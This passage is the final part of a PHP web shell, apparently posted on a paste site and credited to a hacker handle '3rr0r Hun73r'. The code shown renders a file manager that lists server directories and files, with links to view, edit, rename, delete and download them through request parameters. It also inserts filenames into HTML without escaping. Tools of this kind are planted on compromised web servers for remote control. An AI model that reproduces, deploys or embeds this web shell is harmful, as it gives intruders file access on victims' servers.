  2390. $act_dir = "<a href=\"javascript:tukar('" . clearspace($dirx) . "_link','" . clearspace($dirx) . "_form');\">rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2391. }
  2392. echo "<tr class='filetr'>";
  2393. echo "<td class='td_home'><a id=\"" . clearspace($dirx) . "_link\" href='?dir=" . $href . "'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC'> $dirx</a>
  2394.  
  2395.  
  2396.  
  2397. <form method=\"post\" id=\"" . clearspace($dirx) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2398. <input type=\"hidden\" name=\"oldname\" value=\"" . $dirx . "\" style=\"margin:0;padding:0;\" />
  2399. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"fol_rename\" value=\"" . $dirx . "\" />
  2400. <input class=\"inputzbut\" type=\"submit\" name=\"dir_rename\" value=\"rename\" />
  2401. <input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($dirx) . "_form','" . clearspace($dirx) . "_link');\" />
  2402. </form>
  2403.  
  2404.  
  2405.  
  2406.  
  2407. </td>
  2408.  
  2409.  
  2410.  
  2411. ";
  2412. echo "<td class='td_home'><center>$dtype</center></td>";
  2413. echo "<td class='td_home'><center>-</center></th>";
  2414. echo "<td class='td_home'><center>" . w("$dir/$dirx", permissions("$dir/$dirx")) . "</center></td>";
  2415. echo "<td class='td_home'>$dtime</td>";
  2416. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2417. }
  2418. echo "</tr>";
  2419. foreach ($scandir as $file) {
  2420. $ftype = filetype("$dir/$file");
  2421. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2422. $size = filesize("$dir/$file") / 1024;
  2423. $size = round($size, 3);
  2424. if ($size > 1024) {
  2425. $size = round($size / 1024, 2) . 'MB';
  2426. } else {
  2427. $size = $size . 'KB';
  2428. }
  2429. if (!is_file("$dir/$file")) {
  2430. continue;
  2431. }
  2432.  
  2433. echo "<tr class='filetr'>";
  2434. echo "<td class='td_home'>
  2435.  
  2436.  
  2437.  
  2438. <a id=\"" . clearspace($file) . "_link\" href='?act=view&dir=$dir&file=$dir/$file'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> $file</a>
  2439.  
  2440. <form method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2441. <input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
  2442. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"rename\" value=\"" . $file . "\" />
  2443. <input type=\"submit\" name=\"do_rename\" value=\"rename\" />
  2444. <input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_form','" . clearspace($file) . "_link');\" />
  2445. </form>
  2446.  
  2447.  
  2448.  
  2449. ";
  2450. echo "<td class='td_home'><center>$ftype</center></td>";
  2451. echo "<td class='td_home'><center>$size</center></td>";
  2452. echo "<td class='td_home'><center>" . w("$dir/$file", permissions("$dir/$file")) . "</center></td>";
  2453. echo "<td class='td_home'>$ftime</td>";
  2454. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2455. }
  2456. echo "</tr></table>";
  2457. } else {
  2458. echo "<font color=red>can't open directory</font>";
  2459. }
  2460.  
  2461. ?></table>
  2462. <div style="background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;">
  2463. <center>
  2464. Copyright © 2019 - 3rr0r Hun73r </div>
  2465.  
  2466. <?php
  2467.  
  2468. }
  2469. @ob_flush();
  2470. ?>
  2471.  
  2472. </body>
  2473.  
  2474. </html>
Add Comment
Please, Sign In to add comment